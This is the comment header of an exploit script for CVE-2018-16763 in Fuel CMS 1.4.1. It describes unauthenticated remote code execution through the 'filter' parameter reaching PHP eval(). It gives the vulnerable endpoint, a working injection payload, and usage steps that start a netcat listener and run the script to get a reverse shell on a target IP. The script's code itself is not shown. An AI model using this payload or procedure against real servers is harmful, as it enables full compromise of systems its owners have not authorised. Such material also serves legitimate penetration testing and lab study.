    #
    # Description:
    #   Fuel CMS version 1.4.1 is vulnerable to Remote Code Execution (RCE) via
    #   the 'filter' parameter in /fuel/pages/select/. The parameter is passed
    #   unsanitized to PHP's eval() function, allowing an unauthenticated attacker
    #   to inject arbitrary PHP code and achieve OS-level command execution.
    #   Exploitation delivers a reverse shell to an attacker-controlled listener.
    #
    # Vulnerable Endpoint:
    #   GET /fuel/pages/select/?filter=[payload]
    #
    # Payload Technique:
    #   '+pi(print($a='system'))+$a('OS_COMMAND')+'
    #   The filter value is URL-encoded and injected into an eval() context.
    #
    # Impact:
    #   Unauthenticated Remote Code Execution — complete server compromise.
    #   CVSS v3 Base Score: 9.8 (Critical)
    #
    # Usage:
    #   Step 1: Start a netcat listener on your attacker machine:
    #           nc -lvnp <PORT>
    #
    #   Step 2: Run the exploit:
    #           python3 CVE-2018-16763.py --ip <TARGET_IP> --rhost <YOUR_IP> --rport <YOUR_PORT>
    #
    #   Example:
    #           python3 CVE-2018-16763.py --ip 192.168.1.10 --rhost 192.168.1.5 --rport 4444
    #

    #   Use only on systems you own or have explicit written permission to test.
